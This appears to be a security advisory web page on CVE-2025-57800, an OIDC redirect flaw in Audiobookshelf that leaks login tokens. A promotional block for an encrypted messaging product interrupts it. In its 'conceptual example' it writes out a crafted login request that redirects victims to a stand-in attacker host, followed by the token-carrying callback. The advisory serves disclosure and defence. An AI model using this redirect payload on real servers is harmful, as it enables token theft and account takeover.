Overview
The world of cybersecurity is constantly evolving. One of the latest vulnerabilities to be exposed is CVE-2025-57800, a critical vulnerability that affects the Audiobookshelf application. This vulnerability, if exploited, can lead to serious consequences including system compromise and data leakage. Given the severity of this vulnerability and the widespread use of the Audiobookshelf, this issue warrants urgent attention and immediate action.
This vulnerability specifically affects the Audiobookshelf versions from 2.6.0 to 2.26.3 when using OpenID Connect (OIDC) for authentication. It’s important to note that no Identity Provider (IdP) misconfiguration is required for this vulnerability to be exploited, meaning any implementation of Audiobookshelf that uses OIDC could be at risk.
Vulnerability Summary
CVE ID: CVE-2025-57800
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise and data leakage
Affected Products
Share secrets securely
Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.
Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.
- • Encrypted identity
- • Private Spaces for organizations and teams
- • End-to-end encrypted chat, calls, files, and notes
- • Sensitive AI work and protected collaboration
- • Built for information that cannot leak
Our mission is to secure human work alongside AI.
Product | Affected Versions
Audiobookshelf | 2.6.0 – 2.26.3
How the Exploit Works
The exploit operates by manipulating the redirect callback URLs during the OIDC authentication process. The attacker crafts a malicious login link that, once clicked by the unsuspecting user, prompts Audiobookshelf to store an arbitrary callback in a cookie. This callback is later used to redirect the user post-authentication.
The server then issues a 302 redirect to the attacker’s controlled URL, appending sensitive OIDC tokens as query parameters. This allows the attacker to intercept the victim’s tokens, potentially leading to a full account takeover. If the victim happens to be an administrator, the attacker could create persistent admin users, thereby amplifying the damage.
Conceptual Example Code
Here’s a simplified conceptual example to illustrate how this exploit might work. Let’s assume that the attacker has crafted a malicious login link:
GET /login?redirect=https://malicious.example.com/callback HTTP/1.1
Host: vulnerable-audiobookshelf.comThe victim clicks the link and logs in, unaware that they are being redirected to an attacker-controlled site:
GET /callback?id_token=eyJhbG... HTTP/1.1
Host: malicious.example.comThe attacker now has access to the victim’s tokens, which opens up a host of damaging possibilities, including account takeover and data theft.